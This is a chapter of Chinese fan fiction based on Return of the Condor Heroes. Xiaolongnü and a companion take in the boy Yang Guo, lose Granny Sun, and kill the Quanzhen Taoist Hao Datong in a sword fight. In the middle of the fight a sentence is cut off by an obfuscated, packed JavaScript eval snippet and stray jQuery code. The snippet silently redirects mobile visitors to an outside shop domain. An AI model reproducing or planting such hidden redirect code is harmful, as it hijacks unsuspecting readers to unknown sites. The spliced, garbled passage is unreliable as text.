又过两年,小龙女和小童子十八岁了。

    那道从掌心飞出的无形剑,被她们反复琢磨了两年。

    小童子掌心那道旧伤早已淡成一线浅痕,石壁上的剑痕却还留着。两年来,她们日日在寒冰床上推演内力,试着将那一线锋芒收得更稳、放得更准。

    这一日,两人练功完毕,从石室里出来。

    小童子左手拎着剑,右手牵着小龙女的手。两人掌心相贴,表面上只是并肩走着,暗里却仍以细细一缕内力互相推演。小童子的内息时进时退,像水底游鱼;小龙女便稳稳接住,再以更冷更静的一线回过去。

    她们走到甬道转角时,忽然听见一个孩童的声音。

    那声音又急又乱,带着哭腔,像受了极大委屈。

    小童子脚步一顿。

    小龙女也停下。

    两人对视一眼,皆有些意外。

    古墓里怎么会有外人的声音?

    她们循声走去,拐过两道甬道,便看见孙婆婆坐在石凳旁,怀里抱着一个衣衫破旧的小孩,正低声哄他。

    那小孩满脸灰尘,额角青了一块,衣袖也破了。他哭得抽抽噎噎,听见脚步声,便抬起头来。

    然后他愣住了。

    他从未见过这样的人。

    来的是一对白衣少年。一个清冷如霜,眉目淡得像远山月色;另一个束发利落,衣衫简净,眉眼却明亮,身姿像少年郎般洒脱。两人并肩站在幽暗石道里,灯火一照,竟像天上落下来的神仙。

    杨过忽然觉得自己更狼狈了。

    他方才一路逃来,摔了不知多少跟头,衣上泥土、脸上泪痕全混在一起。此刻与眼前二人一比,他心里竟生出一点说不清的自惭。

    神仙也会来这种地方么?

    若是神仙,会不会带他去找娘?

    小童子先开口。

    她声线朗朗,清亮里带着一点不经意的少年气。落在杨过耳中,竟真像梦里听见的仙乐。

    “孙婆婆,这是谁?怎么把他带进古墓来了?”

    她说话时,与小龙女交握的手仍没有松开,掌心那一缕内力还在无声较量。

    孙婆婆忙道:“我捡到的一个孩子。可怜见的,全真教那群牛鼻子欺负人,把他乱打一通。他逃到古墓门口,我瞧他伤成这样,便带进来了。”

    她低头摸了摸杨过的头,又抬头看向二人。

    “姑娘们,就收留他吧。”

    杨过怔了怔。

    姑娘们?

    他下意识看向小童子。

    这个白衣少年一般的人,竟也是姑娘?

    他又一次愣住。

    小龙女这时开口:“古墓派不收男子。”

    声音很轻,却没有商量余地。

    小童子点头。

    师父确实说过。

    她看向孙婆婆:“婆婆,你带这个孩子离开,安顿到山脚下,给些钱财,请人收养他。”

    孙婆婆脸上露出难色:“姑娘,全真教的人会把他抓起来的。你们就可怜可怜他,留下他吧。”

    小童子眉头慢慢皱起。

    她不明白孙婆婆为何忽然像变了个人。

    孙婆婆向来最记得林朝英的话,也最怕她们违背门规。如今却为了一个陌生男孩,张口便要破古墓旧训。

    小童子第一次冷下脸。

    “婆婆。”

    她声音不高,却叫孙婆婆心头一颤。

    “我师父去世时说过的话,你都听到了。你要让我们违背师命么?”

    孙婆婆怔住。

    她看着小童子。

    这是她一手看大的孩子。小时候小童子爱哭,爱偷懒,被李莫愁捏疼了便满墓跑着喊痛。可也不知是自她睡寒冰床、修玉女心经之后,还是自林朝英去世之后,那点活泼气便一日日淡了,眉眼间渐渐冷得像另一个小龙女。如今她站在那里,手中拎剑,目光冷下来时,竟有几分林朝英当年的影子。

    孙婆婆心里第一次对这个孩子生出一点惧意。

    随即便是羞愧。

    她低下头:“不,不。是我错了。我不该如此行事。”

    她抱紧杨过,声音低了下去:“我会带他离开,妥善安置。”

    小童子没有再说话。

    小龙女也只是静静看着。

    孙婆婆便带着杨过离开了古墓。

    午饭时,石室里格外安静。

    孙婆婆不在,热汤也少了平日那点细致味道。小童子夹了两口菜,眉头仍没有松开。

    小龙女看她一眼。

    小童子道:“婆婆今日很奇怪。”

    小龙女道:“她心软。”

    “心软也不能违背师父的话。”

    小龙女没有反驳。

    饭后,两人又回石室练功。小童子转眼忘了前事,与小龙女专心拆掌心剑。可没练多久,远处忽然传来哭声。

    是方才那个孩子的哭声。

    哭得比之前更厉害。

    小童子和小龙女察觉不对,同时收手。

    下一瞬,两人身影已掠出石室。

    她们循声飞去,便看见杨过跪在地上,哭得几乎喘不上气。而孙婆婆倒在一旁,脸色灰败,唇边有血。

    小童子心口一沉。

    她几乎是扑到孙婆婆身边,伸手扶住她肩背,却又不敢用力。

    小龙女也已跪下,指尖搭上孙婆婆的脉门。

    片刻后,小龙女抬头看向小童子。

    “经脉尽断,五脏六腑破碎。”

    杨过听见这句,哇的一声哭得更厉害。

    小童子闭了闭眼。

    她再睁眼时,才看向杨过。

    “发生了什么?”

    杨过哭着道:“孙婆婆带我回全真教……她说要同那些道人讲清楚,说我不该再受他们欺负。”

    他抽噎得几乎说不成句:“可是他们不听。他们骂我,也骂孙婆婆……后来就推搡起来。有个道人要抓我,孙婆婆挡在我前面,他一掌打过来,孙婆婆当时就吐了血。”

    杨过抬手胡乱擦脸,越擦眼泪越多:“她放出了好多玉蜂,那些道人都乱了。孙婆婆就拉着我飞……她一路都在喘,嘴里一直有血。回到这里以后,她才倒下,就再也站不起来了……”

    他说得乱,哭得更乱。

    小童子只觉得耳边嗡嗡作响。

    她想起自己小时候也这样哭过,哭得满墓皆知,哭得谁都不得安宁。师父和师姐当年听着,会不会觉得烦?

    龙儿会不会也觉得烦?

    她下意识看了小龙女一眼。

    小龙女没有看杨过。

    她仍跪在孙婆婆身旁,手指没有离开孙婆婆的脉门。

    孙婆婆费力地睁开眼。

    小龙女取出玉蜂蜜,想喂她一点,好让她少受些苦。孙婆婆却微微偏头,像是已经咽不下去。

    “姑娘……掌门……”

    她声音破碎,每说一个字,都像要耗尽一口气。

    小龙女靠近些:“婆婆。”

    孙婆婆艰难道:“我熬不过去了。我有一个请求……让杨过留下吧。就让他做大姑娘的徒弟。”

    小龙女没有回答。

    她看向杨过。

    那孩子满脸泪痕,跪在孙婆婆身旁,孤零零地缩成一团。

    小童子心里忽然涌上一股极不舒服的感觉。

    那感觉像冷水从胸口漫开,又像有人在她耳边说:又要破师父的规矩,又要替师姐做决定。

    她一字一顿道:“不、可、以!”

    小童子道:“师父的话,我不会违背。师姐的意愿,我们也没有问过。收他为徒,绝对不可能。”

    杨过哭声微微一停,怔怔看着她。

    孙婆婆眼神微颤,又看向小龙女。

    小龙女眼底没有波澜,声音却低了些:“婆婆,古墓派的规矩不能破。”

    她停了停,又道:“我是掌门,更不能破。”

    孙婆婆眼中的光黯了些。

    小童子看向孙婆婆,声音终于放低些:“但我会让人收留他。给他钱,给他住处,保他不被全真教带走。”

    小龙女道:“伤你的人,我会去杀。”

    孙婆婆听到这里,像是终于有了交代。

    她看了杨过一眼,又看向小龙女和小童子,唇边似乎动了动,像还想说什么。可那口气终究散了。

    她头轻轻一偏,便再没有声息。

    杨过愣了一瞬,随即哭得撕心裂肺。

    “孙婆婆!孙婆婆!”

    小龙女伸手,轻轻合上孙婆婆的双眼。

    她面上没有表情,指尖却停了很久。

    古墓里最后一个长辈,也走了。

    小童子伸手握住小龙女的手。

    另一只手,则抓住杨过的腰带,把他从地上拎起来。

    “走。”

    杨过哭得上气不接下气:“去哪儿?”

    小童子声音冷得像寒霜。

    “给孙婆婆报仇。”

    听到“报仇”二字,杨过的哭声戛然而止。

    他抬头,眼睛瞪得很圆:“好!”

    小龙女没有立刻动。

    她回头看了一眼古墓深处。古墓里,是林朝英留下的规矩,是孙婆婆刚刚合上的眼,也是她十八年来不曾踏出的清冷天地。

    片刻后,她握紧了小童子的手。

    两人一起迈出了古墓。

    这是小童子和小龙女第一次真正踏出墓门。

    终南山风迎面扑来,带着松木、尘土和人间的气息。可两人谁也没有心思去分辨墓外的世界。

    小童子没有回头,一手牵着小龙女,一手提着杨过:“指路。”

    杨过被带得几乎喘不过气,勉强抬手指向山上:“那边……重阳宫在那边!”

    两人便循着他所指的方向飞纵而去。枝叶在脚下掠过,山石被远远抛在身后,屋檐与石阶一闪即逝。

    杨过只觉得整个人像被风裹住,连害怕都来不及。

    不多时,三人已落到全真教广场。

    道士们纷纷转头。

    杨过立刻指向一人,声音发抖,却极恨:“是他!就是他打的孙婆婆!”

    那人正是郝大通,此刻正站在全真众人之后。

    小龙女看向他,声音轻而冷:“你是要自刎,还是我们来取你性命?”

    广场上一片哗然。

    有人怒道:“哪里来的乳臭未干的小辈,竟敢在重阳宫出言不逊!”

    又有人拔剑:“擅闯全真,口气倒不小!”

    小童子把杨过往旁边树上一抛。

    杨过惊叫一声,整个人挂到树杈上,手忙脚乱抱住树干。

    小童子已不再看他。

    她足尖一点,身形掠入人群。两名全真弟子只觉腕上一麻,掌中长剑已被她一挑一带夺了出去。一柄飞向小龙女,一柄落入她自己手中。

    剑入手的一瞬,两人的气息便变了。

    广场上众人只觉胸口微微一窒,仿佛有一道无形气压从两人身侧铺开,冷冷压了下来。

    玉女心经展开。

    这门功夫本就是林朝英当年苦心所创,招招式式皆为破解全真武功而设。

    全真教众人只觉眼前白影一分为二,又似二

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17750825|209414||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    合为一。小龙女剑势清冷,处处封死来路;小童子剑势灵活,从旁侧、下盘、转折处穿插而入,像一张网忽然收紧。

    全真剑法本也堂皇,可在二人合击之下,竟处处慢了半拍。

    有人想结阵。

    小龙女比所有人都更早看见阵势变化。

    全真弟子脚步才一错,她的剑锋已先一步压住中宫。那一压并不凌厉,却冷得没有半点余地,逼得左右两翼不能合拢,只能眼睁睁看着小童子从阵眼处穿入。

    阵未成,又被小童子一剑挑开阵眼。

    有人想后撤。

    小龙女剑锋已横在退路。

    两道白影便这样一左一右,自外围杀入人群深处。所过之处,全真弟子或剑脱手,或肩臂中剑,竟无人能将她们拦住片刻。

    郝大通本在众人之后,眼看二人剑光越逼越近,身前弟子一层层散开,竟如潮水被劈出一道缺口。

    郝大通脸色骤变。

    他这才知道,眼前这两个少年方才并非口出狂言,而是真有杀到他面前的本事。

    待到郝大通长剑出鞘,两人已杀到他身前。

    她们手中明明只有两柄剑,可剑势一经合拢,剑影层层叠叠,竟似千百柄剑同时刺来。小龙女剑锋才微微一斜,小童子的剑便已从斜处补上;小童子身形才要前欺,小龙女便先一步封住郝大通退路。一个攻其正面,一个取其旁侧,进退转折之间,竟似心有灵犀,不必看,不必言,便已知道对方下一招要落在何处,自己又该补向何处。

    郝大通连退三步,长剑横扫,勉强将二人剑势压开半寸。

    可也只是半寸。

    他到底是全真七子之一,剑锋一沉,忽然由守转攻,反手刺向小童子肩井。小童子不退,剑尖一挑,借着他这一刺的力道旋身让开;小龙女却已从另一侧递剑而至,剑光冷冷贴向郝大通腕脉。

    郝大通心中一凛,长剑回撤,剑脊在小龙女剑上一压,身形顺势斜退。可他脚步才动,小童子的剑便已从下盘穿来,逼得他不得不提气跃起。

    人一上了半空,下盘来剑自然避开。

    可下盘避开了,上路的剑却更难避。小龙女早似算准了这一着,他身形方起,她的剑已冷冷冲到胸前。半空之中无处借力,郝大通只得猛提一口真气,内力灌入足底,脚尖一点剑脊,硬生生将那一剑截偏半寸。

    可小龙女剑锋刚偏,小童子的下一剑便已从偏开的半寸空处追了进来。

    她剑势不重,却快得惊人,一剑逼眼,一剑取喉,一剑又忽然沉向胸腹。郝大通连挡三剑,虎口已微微发麻。

    他这才真正明白,眼前二人并非单凭剑招精妙压人。

    她们剑上所含内劲清冷绵长,虽不似江湖老手那般浑厚沉猛,却胜在气息纯净,后力不绝,绝非寻常少年可有。一个清冷如冰,专断大势;一个灵动如影,专补细微破绽。大势一合,破绽便无;破绽一补,剑网便更紧。

    再拖下去,他只会被这张网一点点绞死。

    郝大通毕竟久经阵仗,越是凶险,心神反倒越沉。他强压住胸口翻涌的气血,长剑守中带转,终于在那千百道剑影里摸出一丝脉络。

    小龙女主封,小童子主攻;小龙女剑势一冷,小童子下一剑必从活处来;小童子身形一动,小龙女便要先断退路。

    只要再撑几招,他未必不能找出脱身之机。

    下一刻,小龙女袖底一动,小童子掌心一翻。

    两道剑意忽从无形中生出。

    郝大通刚刚摸到的那一丝脉络,霎时断了。

    他只觉寒意贴骨而来,眼前分明还是双剑,却骤然多出两道看不见的杀意。小龙女与小童子的长剑一左一右压来,他长剑横在身前,正要同时格开,那两道掌心剑意已直直逼至。

    一道自上而下,逼向咽喉。

    一道自下而上,削向胸腹。

    郝大通大喝一声,长剑连震,先挡开身前左右双剑,又急急回剑去截那两道掌心剑意。

    也就是这一乱。

    小龙女足尖一勾,剑势未停,脚下已轻轻扫向他下盘。

    郝大通身形一晃。

    小童子已借这一晃跃起。

    剑光一闪。

    广场骤然静住。

    郝大通的头颅滚落在地。

    鲜血喷洒出来,溅在青石广场上,猩红一片。

    小龙女收回足尖,慢慢站直身体。

    小童子收剑,剑尖无声垂落。

    两人白衣如旧,竟连一滴血都没有沾上。

    整个广场都被镇住了。

    没有人想到,这两个年少的古墓弟子,武功竟高到如此地步。

    更没有人想到,全真七子之一,竟在顷刻间少了一人。

    树上的杨过也看呆了。

    他忘了哭,也忘了怕,只怔怔看着那两道白衣身影。

    小龙女看向小童子。

    小童子也看了她一眼。

    无需多言。

    她们今日只为孙婆婆报仇,不为灭全真。

    两人同时松手。

    夺来的两柄长剑落在青石地上,发出两声清响。

    小童子足尖一点,掠回树旁,一把拎起杨过。小龙女跟着转身,白衣轻动。

    在全真众人终于回过神来之前,三人已经如来时一般掠出广场,消失在终南山的林影之间。

    山风呼啸。

    杨过被小童子拎着腰带,低头看着越来越远的全真教,忽然觉得自己这一日像做了一场梦。

    梦里他先见了神仙。

    后来才知道,神仙也会动怒。

    也会杀人。